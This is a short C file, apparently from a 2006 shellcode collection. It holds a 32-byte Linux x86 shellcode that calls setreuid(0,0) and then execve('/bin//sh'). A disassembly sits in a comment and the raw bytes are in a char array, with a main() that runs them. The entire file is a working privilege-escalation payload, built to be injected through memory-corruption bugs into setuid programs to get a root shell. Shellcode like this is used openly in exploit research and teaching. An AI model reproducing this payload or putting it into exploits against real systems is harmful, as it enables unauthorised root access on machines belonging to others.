/*
 * bunker_sc1.c V1.4 - Mon Mar 20 18:49:00 CET 2006
 *
 * Short (9 + 23 = 32 bytes) linux/x86 shellcode
 * setreuid(0, 0) + execve("/bin//sh", "[/bin//sh]", NULL);
 *
 * bunker - http://rawlab.mindcreations.com
 * 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
 *
 * setreuid(0, 0);
 * 00000000  6a46              push byte +0x46
 * 00000002  58                pop eax
 * 00000003  31db              xor ebx,ebx
 * 00000005  31c9              xor ecx,ecx
 * 00000007  cd80              int 0x80
 *
 * execve("/bin//sh", ["/bin//sh"], NULL);
 * 00000009  6a0b              push byte +0xb
 * 0000000b  58                pop eax
 * 0000000c  99                cdq
 * 0000000d  52                push edx
 * 0000000e  682f2f7368        push dword 0x68732f2f
 * 00000013  682f62696e        push dword 0x6e69622f
 * 00000018  89e3              mov ebx,esp
 * 0000001a  52                push edx
 * 0000001b  53                push ebx
 * 0000001c  89e1              mov ecx,esp
 * 0000001e  cd80              int 0x80
 */

char sc[]=
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x6a\x0b\x58"
"\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x52\x53\x89\xe1\xcd\x80";	

main() { int(*f)()=(int(*)())sc;f(); }